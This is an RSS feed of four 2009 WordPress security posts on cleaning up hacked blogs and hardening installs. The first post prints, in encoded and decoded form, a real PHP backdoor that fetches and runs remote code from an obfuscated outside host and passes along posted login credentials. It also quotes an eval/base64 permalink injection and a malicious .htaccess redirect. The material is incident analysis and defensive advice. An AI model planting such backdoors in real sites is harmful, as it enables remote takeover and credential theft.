<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>I Like WordPress! &#187; WordPress Security</title>
	<atom:link href="http://ilikewordpress.com/category/wordpress-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://ilikewordpress.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Fri, 08 Apr 2011 21:30:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Cleaning Up the Aftermath of a Hacker Attack</title>
		<link>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/</link>
		<comments>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 17:52:28 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[PHP goodies]]></category>
		<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[hack attack]]></category>
		<category><![CDATA[malicious files]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=278</guid>
		<description><![CDATA[The same project that led to the post Loading WordPress From index.php involved cleaning up after a hacking incident. In fact, that&#8217;s what the initial work order was for. This blog was hit recently by the same attack that has been in the news for the last few days. Lorelle on WordPress wrote some things [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>The same project that led to the post <a href="http://ilikewordpress.com/274/loading-wordpress-from-index-php/">Loading WordPress From index.php</a> involved cleaning up after a hacking incident. In fact, that&#8217;s what the initial work order was for.</p>
<p>This blog was hit recently by the same attack that has been in the news for the last few days. <a href="http://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/">Lorelle on WordPress</a> wrote some things about it:</p>
<blockquote><p>There are two clues that your WordPress site has been attacked.</p>
<p>There are strange additions to the pretty permalinks, such as <code>example.com/category/post-title/%&amp;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&amp;%/</code>. The keywords are “eval” and “base64_decode.”</p>
<p>The second clue is that a “back door” was created by a “hidden” Administrator. Check your site users for “Administrator (2)” or a name you do not recognize. You will probably be unable to access that account, but <a title="Journey Etc - WordPress Permalink RSS Problems" href="http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/">Journey Etc. has a possible solution</a>.</p></blockquote>
<p>This blog was different in that there were no other admin accounts created. The same code was appearing in permalinks ( and was, indeed, shown in Settings -&gt; Permalinks ).</p>
<p>Another symptom of this type of general attack are posts that are filled with spam links enclosed within HTML comment tags. You&#8217;ll not see them, but Google does.</p>
<p>Looking a little deeper, I found evidence of <em><strong>another </strong></em>previous hack job. The server error log contained hundreds of these entries:<span id="more-278"></span></p>
<pre class="brush: plain; title: ; notranslate">
[Wed Sep  8 11:40:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/downlaod.nod.32.php
[Wed Sep  8 11:38:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/instalation.com.php
[Wed Sep  8 11:38:04 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/muonline.win_mu.php
[Wed Sep  8 11:36:19 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/DV-driver.crack.php
[Wed Sep  8 11:35:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/koolmoves.5.key.php
[Wed Sep  8 11:34:34 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/inurl:.free.xxx.php
[Wed Sep  8 11:33:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crak.do.flash.5.php
[Wed Sep  8 11:32:23 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/wow.1.10.2.enus.php
[Wed Sep  8 11:31:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/torrent.stylexp.php
[Wed Sep  8 11:28:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crack.for.harry.php
</pre>
<p>WTF? 66.249.71.154, according to reverse IP lookup, is Googlebot. Why is Googlebot trying to load these files? Still haven&#8217;t found the answer to THAT question. But what I find next begins to shed some light&#8230;</p>
<p>I poke around in the filesystem, and I find a number of folders within the WordPress wp-content folder that had extra files added to them (including the plugins/podpress folder):</p>
<p>.htaccess<br />
date.php<br />
time.php<br />
include.php</p>
<p>The filenames between the folders were all different, with the exception that they all had an .htaccess file. Here&#8217;s what was in .htaccess file in the wp-content/header folder:</p>
<pre class="brush: plain; title: ; notranslate">
Options -MultiViews

ErrorDocument 404 //wp-content/header/time.php
</pre>
<p>So what&#8217;s happening is that any request for http://domain.com/wp-content/themes/header/anyfilename.php would result in time.php being served as the 404 page.</p>
<p>And time.php (along with all the other added php files) is a nasty little bugger:</p>
<pre class="brush: php; title: ; notranslate">

&lt;?php
error_reporting(0);
$p=&quot;bcjihzzazbzgc&quot;;
eval(base64_decode(&quot;Y2xhc3MgbmV3aH... more characters here, several K's worth ... R0cHsNCnZhciAkZnVsbX0=&quot;));
?&gt;
</pre>
<p>So the code turns off error reporting, then says to eval (run) the code enclosed in quote marks after base64 decoding. I haven&#8217;t taken the time to figure out what the class that the file defines <strong>does</strong>, but somehow I don&#8217;t think it&#8217;s anything nice. After decoding, this is the file contents:</p>
<pre class="brush: php; title: ; notranslate">

&lt;?php
class newhttp {var $fullurl;var $p_url;var $conn_id;var $flushed;var $mode = 4;var $defmode;var $redirects = 0;var $binary;var $options;var $stat = array('dev' =&gt; 0,'ino' =&gt; 0,'mode' =&gt; 0,'nlink' =&gt; 1,'uid' =&gt; 0,'gid' =&gt; 0,'rdev' =&gt; -1,'size' =&gt; 0,'atime' =&gt; 0,'mtime' =&gt; 0,'ctime' =&gt; 0,'blksize' =&gt; -1,'blocks' =&gt; 0);
function error($msg='not connected') {if ($this-&gt;options &amp; STREAM_REPORT_ERRORS) {trigger_error($msg, E_USER_WARNING);}return false;}
function stream_open($path, $mode, $options, $opened_path) {$this-&gt;fullurl = $path;$this-&gt;options = $options;$this-&gt;defmode = $mode;$url = parse_url($path);if (empty($url['host'])) {return $this-&gt;error('missing host name');}$this-&gt;conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2);if (!$this-&gt;conn_id) {return false;} if (empty($url['path'])) {$url['path'] = '/';}$this-&gt;p_url = $url;$this-&gt;flushed = false;if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) {$this-&gt;mode += 2;}$this-&gt;binary = (strpos($mode, 'b') !== false);$c = $this-&gt;context();if (!isset($c['method'])) {stream_context_set_option($this-&gt;context, 'http', 'method', 'GET');}if (!isset($c['header'])) {stream_context_set_option($this-&gt;context, 'http', 'header', '');}if (!isset($c['user_agent'])) {stream_context_set_option($this-&gt;context, 'http', 'user_agent', ini_get('user_agent'));}if (!isset($c['content'])) {stream_context_set_option($this-&gt;context, 'http', 'content', '');}if (!isset($c['max_redirects'])) {stream_context_set_option($this-&gt;context, 'http', 'max_redirects', 5);}return true;}
function stream_close() { if ($this-&gt;conn_id) { fclose($this-&gt;conn_id);$this-&gt;conn_id = null;} }
function stream_read($bytes) { if (!$this-&gt;conn_id) { return $this-&gt;error();} if (!$this-&gt;flushed &amp;&amp; !$this-&gt;stream_flush()) { return false;} if (feof($this-&gt;conn_id)) { return '';} $bytes = max(1,$bytes);if ($this-&gt;binary) { return fread($this-&gt;conn_id, $bytes);} else { return fgets($this-&gt;conn_id, $bytes);} }
function stream_write($data) { if (!$this-&gt;conn_id) { return $this-&gt;error();} if (!$this-&gt;mode &amp; 2) { return $this-&gt;error('Stream is in read-only mode');} $c = $this-&gt;context();stream_context_set_option($this-&gt;context, 'http', 'method', (($this-&gt;defmode[0] == 'x') ? 'PUT' : 'POST'));if (stream_context_set_option($this-&gt;context, 'http', 'content', $c['content'].$data)) { return strlen($data);} return 0;}
function stream_eof() { if (!$this-&gt;conn_id) { return true;} if (!$this-&gt;flushed) { return false;} return feof($this-&gt;conn_id);}
function stream_seek($offset, $whence) { return false;}
function stream_tell() { return 0;}
function stream_flush() { if ($this-&gt;flushed) { return false;} if (!$this-&gt;conn_id) { return $this-&gt;error();} $c = $this-&gt;context();$this-&gt;flushed = true;$RequestHeaders = array($c['method'].' '.$this-&gt;p_url['path'].(empty($this-&gt;p_url['query']) ? '' : '?'.$this-&gt;p_url['query']).' HTTP/1.0', 'HOST: '.$this-&gt;p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' );if (!empty($c['header'])) { $RequestHeaders[] = $c['header'];} if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this-&gt;binary ? 'application/octet-stream' : 'text/plain');} else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded';} $RequestHeaders[] = 'Content-Length: '.strlen($c['content']);} $RequestHeaders[] = 'Connection: close';if (fwrite($this-&gt;conn_id, implode(&quot;\r\n&quot;, $RequestHeaders).&quot;\r\n\r\n&quot;) === false) { return false;} if (!empty($c['content']) &amp;&amp; fwrite($this-&gt;conn_id, $c['content']) === false) { return false;} global $http_response_header;$http_response_header = fgets($this-&gt;conn_id, 300);$data = rtrim($http_response_header);preg_match('#.* ([0-9]+) (.*)#i', $data, $head);if (($head[1] &gt;= 301 &amp;&amp; $head[1] &lt;= 303) || $head[1] == 307) { $data = rtrim(fgets($this-&gt;conn_id, 300));while (!empty($data)) { if (strpos($data, 'Location: ') !== false) { $new_location = trim(str_replace('Location: ', '', $data));break;} $data = rtrim(fgets($this-&gt;conn_id, 300));} trigger_error($this-&gt;fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE);$this-&gt;stream_close();return ($c['max_redirects'] &gt; $this-&gt;redirects++ &amp;&amp; $this-&gt;stream_open($new_location, $this-&gt;defmode, $this-&gt;options, null) &amp;&amp; $this-&gt;stream_flush());} $data = rtrim(fgets($this-&gt;conn_id, 1024));while (!empty($data)) { $http_response_header .= $data.&quot;\r\n&quot;;if (strpos($data,'Content-Length: ') !== false) { $this-&gt;stat['size'] = trim(str_replace('Content-Length: ', '', $data));} elseif (strpos($data,'Date: ') !== false) { $this-&gt;stat['atime'] = strtotime(str_replace('Date: ', '', $data));} elseif (strpos($data,'Last-Modified: ') !== false) { $this-&gt;stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data));} $data = rtrim(fgets($this-&gt;conn_id, 1024));} if ($head[1] &gt;= 400) { trigger_error($this-&gt;fullurl.' '.$head[2], E_USER_WARNING);return false;} if ($head[1] == 304) { trigger_error($this-&gt;fullurl.' '.$head[2], E_USER_NOTICE);return false;} return true;}
function stream_stat() { $this-&gt;stream_flush();return $this-&gt;stat;}
function dir_opendir($path, $options) { return false;}
function dir_readdir() { return '';}
function dir_rewinddir() { return '';}
function dir_closedir() { return;}
function url_stat($path, $flags) { return array();}
function context() { if (!$this-&gt;context) { $this-&gt;context = stream_context_create();} $c = stream_context_get_options($this-&gt;context);return (isset($c['http']) ? $c['http'] : array());}}
if(isset($_POST[&quot;l&quot;]) and isset($_POST[&quot;p&quot;])){if(isset($_POST[&quot;input&quot;])){$user_auth=&quot;&amp;l=&quot;.base64_encode($_POST[&quot;l&quot;]).&quot;&amp;p=&quot;.base64_encode(md5($_POST[&quot;p&quot;]));} else {$user_auth=&quot;&amp;l=&quot;.$_POST[&quot;l&quot;].&quot;&amp;p=&quot;.$_POST[&quot;p&quot;];}} else {$user_auth=&quot;&quot;;}if(!isset($_POST[&quot;log_flg&quot;])){$log_flg=&quot;&amp;log&quot;;}$rkht=1;if(version_compare(PHP_VERSION,'5.2','&gt;=')){if(ini_get('allow_url_include')){$rkht=1;}else{$rkht=0;}}if($rkht==1){if(ini_get('allow_url_fopen')){$rkht=1;}else{$rkht=0;}}$v=$p.base64_decode(&quot;LnVzZXJzLmJpc2hlbGwucnU=&quot;).&quot;/?r_addr=&quot;.sprintf(&quot;%u&quot;, ip2long(getenv(&quot;REMOTE_ADDR&quot;))).&quot;&amp;url=&quot;.base64_encode($_SERVER[&quot;SERVER_NAME&quot;].$_SERVER[&quot;REQUEST_URI&quot;]).$user_auth.$log_flg;if($rkht==1){if(!@include_once(base64_decode(&quot;aHR0cDovLw==&quot;).$v)){}}else{stream_wrapper_register('http2','newhttp');if(!@include_once(base64_decode(&quot;aHR0cDI6Ly8=&quot;).$v)){}}
?&gt;
</pre>
<p>Anyway, that&#8217;s what I found, that&#8217;s what I had to clean up. <strong>Six and a half hours</strong> to go through all of the files looking for this thing, cleaning up as I went.</p>
<p>UPDATE:</p>
<p>Since writing this post, I&#8217;ve completed 4 more site cleanups &#8212; each averaging over 4 hours. Gets rather expensive, guys and girls.</p>
<p>Please keep your WordPress installs up to date. That&#8217;s the most efficient way to guard against this kind of maliciousness.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Protecting Your WordPress Blog From Hackers, Crackers, and Jerks</title>
		<link>http://ilikewordpress.com/259/protecting-your-wordpress-blog-from-hackers-crackers-and-jerks/</link>
		<comments>http://ilikewordpress.com/259/protecting-your-wordpress-blog-from-hackers-crackers-and-jerks/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 20:15:35 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[Blogging in General]]></category>
		<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[WordPress Security]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=259</guid>
		<description><![CDATA[The last few days have seen a rash of hacker attacks on WordPress blogs, with isolated reports going back a month or more. Without exception, as far as I can tell, the successful attacks were on blogs running outdated older versions of WordPress. The latest exploits involve hidden admin users and permalinks polluted with javascript [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>The last few days have seen a rash of hacker attacks on WordPress blogs, with isolated reports going back a month or more. Without exception, as far as I can tell, the successful attacks were on blogs running outdated older versions of WordPress. The latest exploits involve hidden admin users and permalinks polluted with javascript code, outlined in these posts on the WordPress support forum:</p>
<p><a rel="nofollow" href="http://wordpress.org/support/topic/307652">http://wordpress.org/support/topic/307652</a><br />
<a rel="nofollow" href="http://wordpress.org/support/topic/297639">http://wordpress.org/support/topic/297639</a><br />
<a rel="nofollow" href="http://wordpress.org/support/topic/307518">http://wordpress.org/support/topic/307518</a></p>
<p>WP 2.8.3 and 2.8.4 are <em><strong>NOT</strong></em> vulnerable to this exploit. If you&#8217;ve been hacked any time in the last month, and you&#8217;re running pre-2.8.3 software, the monkey&#8217;s on YOUR back. If you were hacked and running up-to-date version of WP, send the details to <a href="mailto:security@wordpress.org">security@wordpress.org</a> please.</p>
<p>If you&#8217;ve been lax and haven&#8217;t upgraded to the latest version, don&#8217;t do it until you&#8217;ve determined whether or not you&#8217;ve already been invaded. If you have, clean it up first, then upgrade. (Be sure you read the &#8220;<a href="#beyond-upgrading">Beyond Upgrading</a>&#8221; section at the end of this post)<span id="more-259"></span></p>
<h3>How To Tell If You&#8217;ve Been Hacked</h3>
<p>Two clues: check your permalinks, check your administrator users.</p>
<p>Permalinks: from your front page, hover over a link to a single post. Look in the status bar at the bottom of your browser. If you see text like &#8216;<strong>mypost/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</strong>&#8216; then you&#8217;ve been had.</p>
<p>Log into your dashboard, go to the Users-&gt;Authors and Users page. At the top, you&#8217;ll see links that let you display users by their status. Look at the Administrator (x) link. How many admins do you have on your blog? If you&#8217;ve been hacked, the number in parentheses will be one higher than your actual admin count. In other words, if you&#8217;re a single-person blogger, you&#8217;ll see (2) for the Administrator count.</p>
<p>There are a couple of other hacks out there that aren&#8217;t related to this one; we&#8217;ll cover those in a little bit.</p>
<h3>What To Do If You&#8217;ve Been Hacked</h3>
<p>I&#8217;m going to be right up front with you &#8212; this one isn&#8217;t an easy one to clean up.</p>
<p><strong>Step #1: clean up your permalink structure.</strong> Hover over a link to a post on your blog, and make a note of your permalink structure. The two most popular permalink structures are &#8216;day &#8211; name&#8217;, i.e. <code>http://ilikewordpress.com/2009/09/06/sample-post/</code> or &#8216;month-name&#8217;, i.e. <code>http://ilikewordpress.com/2009/09/sample-post/</code> . Some more advanced users may have different setups.</p>
<p>In your Dashboard, go to Settings -&gt; Permalinks. In the input box, delete all the malicious code. What you leave will vary, determined by what your permalink structure was. If you&#8217;re using one of the two &#8216;standard&#8217; structures, select a different one, then reselect your original, then click the Update button. If you&#8217;re using a custom structure ( like I am on ilikewordpress.com ), you&#8217;ll need to clear the input box and enter the proper tags, i.e. <code>/%post_id%/%postname%/</code> like I have here.</p>
<p><strong>Step #2: get rid of the extra administrator.</strong> This is a little trickier. There are two ways to do this, first is through your Authors &amp; Users page, the second is directly through the database.</p>
<p>Method #1, through the Authors &amp; Users page: <a href="http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/">follow the instructions here from Journey Etc.</a> to clean out the malicious user.</p>
<p>Method #2, directly through the database, is a little more complicated. <a href="/contact">Contact me</a> if you want instructions on how to do it. Generally, unless you have other issues, it&#8217;s much easier to use Method #1.</p>
<p>Step #3: upgrade your WordPress software.</p>
<p>If you&#8217;re stuck with using FTP, follow <a href="http://codex.wordpress.org/Upgrading_WordPress_Extended">these upgrade instructions from the WordPress Codex</a>.</p>
<p>If you&#8217;re lucky enough ( or had enough foresight ) to be on <a href="/hostgator">hosting that gives you shell access</a>, here&#8217;s a 5 minute upgrade path:</p>
<p>Log into your hosting account through your SSH client. Navigate to your WordPress folder. Do the following (don&#8217;t do the lines prefaced by ## ):</p>
<pre class="brush: bash; title: ; notranslate">

## move config.php out of the way

mv wp-config.php wp-config.php.bak

## get rid of existing WP files

rm -rf wp-includes wp-admin wp-*.php xmlrpc.php

## get new wordpress files

wget http://wordpress.org/latest.zip

## uncompress

unzip latest.zip

## unzipped files were stored in /wordpress, copy from there

cp -R wordpress/* .

## get rid of zip and wordpress dir

rm -rf wordpress latest.zip

## restore config

mv wp-config.php.bak wp-config.php

## done!
</pre>
<p>If you&#8217;ve followed the upgrade path through several versions, it is essential that you upgrade your wp-config.php file to the latest version that contains the authentication keys.</p>
<p>If you want to do it directly on your server through vim, you can, but it&#8217;s probably easier to make a new config file and upload it through FTP.<br />
<a name="beyond-upgrading"></a></p>
<h3>Beyond Upgrading</h3>
<p>After you&#8217;ve upgraded your WordPress software, you&#8217;ll want to make sure you&#8217;re doing everything you can to keep this from happening again. Unless, of course, you like cleaning up after these people.</p>
<p>To start, review Michael VanDeMar&#8217;s post on <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/">How to Completely Clean Your Hacked WordPress Installation</a>. Much good info there.</p>
<p>Second, install the <a href="http://wordpress.org/extend/plugins/wp-security-scan/">WP Security Scan</a> plugin and use it.</p>
<p>Third, don&#8217;t do stupid things. Use strong passwords, upgrade when new releases come out. They&#8217;re not just eye candy.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/259/protecting-your-wordpress-blog-from-hackers-crackers-and-jerks/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WordPress Security Tip #1 &#8211; Get Rid of the Admin Account</title>
		<link>http://ilikewordpress.com/146/wordpress-security-tip-1/</link>
		<comments>http://ilikewordpress.com/146/wordpress-security-tip-1/#comments</comments>
		<pubDate>Wed, 08 Apr 2009 22:00:01 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[admin]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[new user]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[users]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=146</guid>
		<description><![CDATA[A number of people have asked me for some more detail on how to implement some of the suggestions I made in this post. So, here is the first in the series of in-depth tutorials on how to better secure your WordPress blog. It&#8217;s important to secure your WordPress blog. We&#8217;re bombarded daily with tales [...]]]></description>
			<content:encoded><![CDATA[<p></p><p style="border: 1px dotted #333333; padding: 1em; background: #eeeeee none repeat scroll 0% 0%; text-align: center; width: 80%; margin-left: auto; margin-right: auto;">A number of people have asked me for some more detail on how to implement some of the suggestions I made <a href="http://ilikewordpress.com/37/securing-your-wordpress-blogs/">in this post</a>. So, here is the first in the series of in-depth tutorials on how to better secure your WordPress blog.</p>
<p>It&#8217;s important to secure your WordPress blog. We&#8217;re bombarded daily with tales of worms, virii, and Trojan Horsies. Secure this! Lockdown that! Protect yourself! Fortunately, the chances of your self-hosted WordPress blog are fairly slim, but it does happen. This is the first post in a series of how you can tighten down the security of your blog.</p>
<p><span style="text-decoration: line-through;">Step #1: Sign the online petition at http://shipthemoff.com to reopen<a href="http://en.wikipedia.org/wiki/Devil%27s_Island"> Devil&#8217;s Island</a> as a penal colony, and send all convicted hackers there to fend for themselves (remember Papillon?).</span></p>
<p>All right, so we can&#8217;t do that. <strong>SO</strong>, the first thing you should do is get rid of the default &#8216;admin&#8217; user account that WordPress so kindly sets up for you when you install WordPress. You can do it in a few simple steps:</p>
<ol>
<li>create a new user account</li>
<li>log out and log in under the new name</li>
<li>delete the &#8216;admin&#8217; account</li>
</ol>
<p>Here&#8217;s how.</p>
<p>First step: always the very first step when you&#8217;re messing with important parts of your blog &#8211; <strong>backup your database!</strong> (I&#8217;ll be showing you how to do that in a future post)</p>
<p>After you&#8217;ve backed up your database, continue on:</p>
<p>In your dashboard, find Users and expand it. Click on Add New.</p>
<ul>
<li><img class="alignright size-medium wp-image-148" title="addnew" src="http://ilikewordpress.com/wp-content/uploads/2009/04/addnew-233x300.png" alt="addnew" width="233" height="300" />on the Add New screen, enter your details, using a new username. Pick a username that isn&#8217;t obvious. If you really want to go all out, you can make up a username that mimics a password for effectiveness: mix upper and lower case letters and numbers (you can&#8217;t use symbols like ! ^ or @ in a username) and don&#8217;t use words that can be found in the dictionary.</li>
<li>enter your email address, and your website address (address is optional)</li>
<li>enter a new password twice. Get really creative with your password. Use <strong>at least</strong> 8 characters, preferably 12, and mix upper- and lower-case letters, numbers, and punctuation symbols, and don&#8217;t use words that can be found in the dictionary. Use something like JpXM20&amp;33tY!89.</li>
<li>be sure to set the new user&#8217;s role to &#8216;Administrator&#8217;</li>
<li>when you&#8217;re done, click the &#8216;Add User&#8217; button</li>
<li>at the top right corner of your window, click the &#8216;Log Out&#8217; button to log out of your admin session.</li>
</ul>
<p>Now, you&#8217;ll need to log back in as the new user you just created. If you did everything correctly, your dashboard will look identical to the admin user. If you  don&#8217;t see all of the menu options on the left, you probably didn&#8217;t set your new user up as an Administrator.</p>
<p>After you&#8217;ve logged back in and everything looks kosher, you&#8217;ll need to delete the original admin account. Don&#8217;t worry, you won&#8217;t be deleting your existing posts &#8211; unless you hit the wrong button <img src='http://ilikewordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Click on Authors &amp; Users again. Hover over the admin avatar, and you&#8217;ll see a &#8216;delete&#8217; link (hint: if you don&#8217;t see that link, you&#8217;re still logged in as &#8216;admin&#8217;). Click.</p>
<p><img class="alignright size-medium wp-image-149" title="delete" src="http://ilikewordpress.com/wp-content/uploads/2009/04/delete-300x170.png" alt="delete" width="300" height="170" />The next screen allows you to either delete all posts and links associated to the admin user, or to assign them to the new user. Don&#8217;t delete all of your posts! (Personally, I think the &#8216;reassign&#8217; option should be pre-selected, but that&#8217;s fodder for another day). Click the radio button to assign existing posts and links to another user, and choose your newly-created user from the dropdown box.</p>
<p>Click the &#8216;Confirm Deletion&#8217; button, and WordPress will delete the admin account and assign the posts and links to your new account.</p>
<p>Next, click on the Your Profile link and complete your profile, including the dropdown box of how you want to display your name as an author.</p>
<p>In case of disaster:</p>
<p>If you managed, in the delete step, to delete all of your posts, it&#8217;s a relatively simple thing to restore them. You will, though, need to know a little bit about how to use your hosting provider&#8217;s MySQL administration tool (most likely phpMyAdmin, but yymv). More on how to restore from a backup in a future article.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/146/wordpress-security-tip-1/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Securing Your WordPress Blogs</title>
		<link>http://ilikewordpress.com/37/securing-your-wordpress-blogs/</link>
		<comments>http://ilikewordpress.com/37/securing-your-wordpress-blogs/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 19:00:19 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[hacker attack]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[robots]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=37</guid>
		<description><![CDATA[DANGER! WARNING! DISASTER IS COMING! YOUR WORDPRESS BLOG IS VULNERABLE! The simple fact is that despite the scare tactics, it&#8217;s extremely unlikely that your WordPress blog is going to be the victim of an attack. Even if it is, if you use some common sense, it won&#8217;t be a complete disaster. The world won&#8217;t end. [...]]]></description>
			<content:encoded><![CDATA[<p></p><p style="text-align: center;"><strong><span style="color: #993300;">DANGER!</span> <span style="color: #ff0000;">WARNING!</span> <span style="color: #ff00ff;">DISASTER IS COMING!<br />
</span></strong><strong>YOUR WORDPRESS BLOG IS VULNERABLE!</strong></p>
<p><em>The simple fact is that despite the scare tactics, it&#8217;s extremely unlikely that your WordPress blog is going to be the victim of an attack.</em> Even if it is, if you use some common sense, it won&#8217;t be a complete disaster. The world won&#8217;t end. The sky won&#8217;t fall.</p>
<p>There are a few things you can do to protect your blog and its contents. They don&#8217;t take very long, and can make your blog much less vulnerable to outside attack. For the most part, I&#8217;m not going to repeat the how-tos of these simple protections. That&#8217;s what Google is for.</p>
<p><strong>Before you do anything, make a backup of your database and files!</strong> You can install and use the <a title="WP-DB-Backup plugin" href="http://wordpress.org/extend/plugins/wp-db-backup/">WP-DB-Backup</a> plugin, but I prefer doing it myself through my <a title="HostGator - the only hosting worth mentioning" href="http://sjurl.com/hostgator">hosting provider</a>&#8216;s cPanel interface. Actually, I have a server cron job set up to automatically back up my WordPress databases, but that&#8217;s fodder for another article&#8230;</p>
<p>In no particular order:</p>
<p><strong>Know who wrote your plugin.</strong> Do some research before you just slap up any old plugin. Plugins have full access to your WordPress installation. A badly-written or malicious plugin can destroy your blog.</p>
<p><strong>Make sure you&#8217;re using the most current version of WordPress.</strong> A simple peek at your dashboard will tell you whether you&#8217;re current or not. The latest stable release version of WordPress can be <a title="Latest version of WordPress" href="http://wordpress.org/latest.zip">downloaded here</a>.</p>
<p><strong>Remove the version meta tag from the header section of your theme.</strong> Yes, I know it says &#8220;Please leave for tracking purposes&#8221; or somesuch, but would you rather help with tracking or have your blog hacked?</p>
<p><strong>Change your accounts.</strong> Everybody knows that WordPress&#8217;s famous &#8220;5-minute installation&#8221; produces an initial account with the username &#8216;admin&#8217; and a generated password. Do yourself a very large favor&#8211;before you do anything else on your new blog, get rid of that admin user. Set up an account heirarchy much like Linux espouses, i.e. a &#8216;super-user&#8217; administrator, and a normal account with minimal permissions. Here&#8217;s how:</p>
<ul>
<li>login as &#8216;admin&#8217;</li>
<li>create a new &#8216;Administrator&#8217; account. Be a hacker&#8217;s PITA&#8211; create a username in the same style as a good password&#8211;upper- and lower-case characters, numerals, and symbols. Create your password the same way. Brute-forcing a username/password combo like that would take forever.</li>
<li>create your &#8216;Author&#8217; account. Us this account for making your regular posts. Use the same technique to create the username/password as you did on the Admin account. Only use your Administrator account when you need to.</li>
</ul>
<p><strong>Prevent directory listings.</strong> Different server setups take different solutions, so use the one appropriate for your hosting setup. But do it. Do it now. Nothing makes it easier to exploit a plugin vulnerability than to know which plugin versions you&#8217;re using.</p>
<p><strong>Be secretive.</strong> Don&#8217;t blare out to the world that &#8220;these are the fantastic plugins I&#8217;m using&#8221;. I mean, it&#8217;s obvious enough anyway but why make it easier?</p>
<p><strong>Exclude the nice robots from your files.</strong> Use a comprehensive robots.txt file that excludes the core WordPress files and folders. There is no reason for allowing your files to be indexed&#8211;any of them. Your WordPress site exists in the database, not in the server&#8217;s filesystem. The only exception to that may be your image files, if you want Google to know about them. Of course, bad bots will ignore the robots.txt file, but we do what we can.</p>
<p><strong>Don&#8217;t use the vulnerable legacy search code.</strong> Make sure your theme has updated the code in the search results page to remove the vulnerability that existed by passing an unfiltered search term. Google for more information.</p>
<p>Listen&#8211;if you use some common sense and employ some best-practices security, odds are extremely thin that you&#8217;ll be the victim of an attack. If you are, delete your install, reinstall from your backups (you DO have those, don&#8217;t you?) and carry on.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/37/securing-your-wordpress-blogs/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

